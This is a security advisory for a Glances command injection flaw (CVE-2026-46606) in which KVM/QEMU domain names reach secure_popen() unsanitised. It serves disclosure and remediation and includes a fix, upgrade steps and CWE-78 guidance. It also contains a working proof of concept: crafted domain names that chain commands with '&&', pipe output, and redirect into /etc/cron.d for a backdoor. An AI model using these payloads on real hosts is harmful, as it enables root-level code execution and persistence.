Skip to content

GHSA-v5r2-qh84-fjx5 CVE-2026-46606 PYSEC-2026-2497

Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

High PyPI
Severity
7.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.19%
Chance of exploitation in the next 30 days. Higher than 8.82% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Fix
4.5.5
Upgrade glances to this version or later

Description

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.


Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):

The vulnerable calls are on lines 185 and 204:

# line 185  (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204  (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

# glances/secure.py
def secure_popen(cmd):
    ret = ''
    for c in cmd.split('&&'):        # '&&' → two separate processes
        ret += __secure_popen(c)
    return ret

def __secure_popen(cmd):
    for sub_cmd in cmd.split('|'):   # '|' → stdin/stdout piped
        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
    # '>' is split separately for file redirection

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

Operator Effect Confirmed
&& Second command executes after the virsh call Yes
| Output of virsh piped to injected command Yes
> virsh output redirected to arbitrary file Yes

PoC

Special configuration required

  • Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
  • The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
  • No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

<domain type="kvm">
  <name>productionDB &amp;&amp; touch /tmp/glances_pwned</name>
  <memory>131072</memory>
  <vcpu>1</vcpu>
  <os><type arch="x86_64">hvm</type></os>
</domain>
virsh define evil-domain.xml

Step 2 — Start Glances with KVM monitoring enabled

glances                # or: glances -s / glances -w

On the next monitoring cycle Glances calls:

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

which secure_popen() splits into two processes:

  1. virsh domstats --nowait productionDB
  2. touch /tmp/glances_pwned

Step 3 — Verify execution

ls -la /tmp/glances_pwned   # file will exist, owned by the Glances user

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`

Impact

Vulnerability type: Command Injection (CWE-78)

Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.

Impact:

  • Confidentiality: Full — arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.
  • Integrity: Full — file-write injection (>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).
  • Availability: Full — the Glances process can be terminated or the host disrupted through the injected commands.

In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.


Suggested Fix

Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:

# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE

result = run(
    [VIRSH_PATH, 'domstats', '--nowait', domain],
    stdout=PIPE, stderr=PIPE, timeout=5
)

Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.

As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.


Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.


Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.


Affected versions

PyPI

PackageVulnerableFixed in
glances
< 4.5.5
4.5.5

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

glances PyPI → 4.5.5

pip
pip install --upgrade "glances>=4.5.5"
poetry
poetry add "glances>=4.5.5"
uv
uv add "glances>=4.5.5"

Severity breakdown

CVSS 3.1 7.8

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

How to prevent it
  • Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
  • Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-4h34-v6r8-mmjc
Glances: as_dict_secure() Value-Level Bypass Leaks Credentials in URL Values via /api/4/config
Medium Also affects glances
GHSA-59fj-m2j6-hcxh
Glances: `--disable-config-exec` does not cover on-alert action commands (incomplete fix of CVE-2026-53925)
High Also affects glances
GHSA-73wf-9vmv-5pv9
Glances: Incomplete fix of CVE-2026-32608: action-template sanitizer is bypassed by nested stat values (process 'cmdline') → OS command injection
High Also affects glances
GHSA-fp27-88fp-2phg
Glances: REST API CORS Credentials Guard Uses Exact-Match Instead of Membership Test — Bypassed by Any Multi-Origin Allowlist Containing the Wildcard
Medium Also affects glances
GHSA-qcpp-8x79-hhp3
Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction
High Also affects glances
GHSA-3vwc-qwhc-3mj7
Glances has arbitrary file write and command execution via `secure_popen` redirection and chaining operators in AMP command configuration
High Also affects glances
GHSA-w856-8p3r-p338
Glances: XML-RPC Server Missing Host Header Validation Enables DNS Rebinding Attack
Medium Also affects glances
GHSA-87qc-fj39-wccr
Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
High Also affects glances
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor